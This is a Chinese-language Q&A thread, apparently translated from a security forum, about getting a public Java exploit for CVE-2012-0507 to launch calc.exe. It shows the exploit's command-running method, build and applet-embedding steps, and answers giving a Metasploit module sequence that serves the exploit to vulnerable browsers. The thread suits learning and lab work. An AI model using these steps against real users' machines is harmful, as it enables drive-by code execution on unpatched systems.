如何编译 java_atomicreferencearray (CVE-2012-0507) 漏洞在系统上运行 calc.exe?

信息安全 爪哇 cve
2021-08-19 07:34:53

我对 Java 漏洞利用感兴趣并偶然发现了这一点:

https://github.com/redcreen/exploits/tree/master/CVE-2012-0507/redcreen

它是 Java 漏洞利用的源代码,所以即使我对 Java 的了解有限(在高中时学到了一些),所以我试图了解背景中发生的事情。

文件https://github.com/redcreen/exploits/blob/master/CVE-2012-0507/redcreen/Exploit.java有这个代码:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        File file = new File("d:/temp/1.php");
        String cmd = "php " + file.getAbsolutePath();
        System.out.println(Help.doWork(_tmp, cmd));
    }

我认为这是要使用此漏洞执行的代码,所以我将其修改为:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        String cmd = "cmd /c start calc.exe";
        System.out.println(Help.doWork(_tmp, cmd));
    }

要在成功探索时启动 calc.exe,并使用以下命令对其进行编译:

javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class

并将其放在小程序中:

<!DOCTYPE html>
<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
  </body>
</html>

calc.exe但是在易受攻击的 Java 机器上执行没有运气。Metasploit 执行确实有效。欢迎任何指导或建议。

3个回答

我的 java 可能并不比你的好,但据我了解这个漏洞,它依赖于突破沙箱来执行代码。

我相信,当您用简单的命令替换 php 代码时,您破坏了该过程的一部分以脱离沙箱。

这是对您的问题的相当详细的检查: https ://media.blackhat.com/bh-us-12/Briefings/Oh/BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_WP.pdf

前往第 7 页,详细了解该漏洞利用的工作原理,作者逐步介绍了代码及其执行。

正如@paj28 评论的那样,Exploit 不是一个小程序。而不是作为小程序运行,只需运行(因为您已经编译了它):

cd bin
java Exploit

为什么不直接使用 metasploit 框架加载java_atomicreferencearray漏洞利用呢?

msfconsole
use .*java_atomicreferencearray <tab>
info
show missing
set <stuff>
options
check
exploit -j

然后只需将易受攻击的启用 JRE 的浏览器指向它提供的侦听器 URL。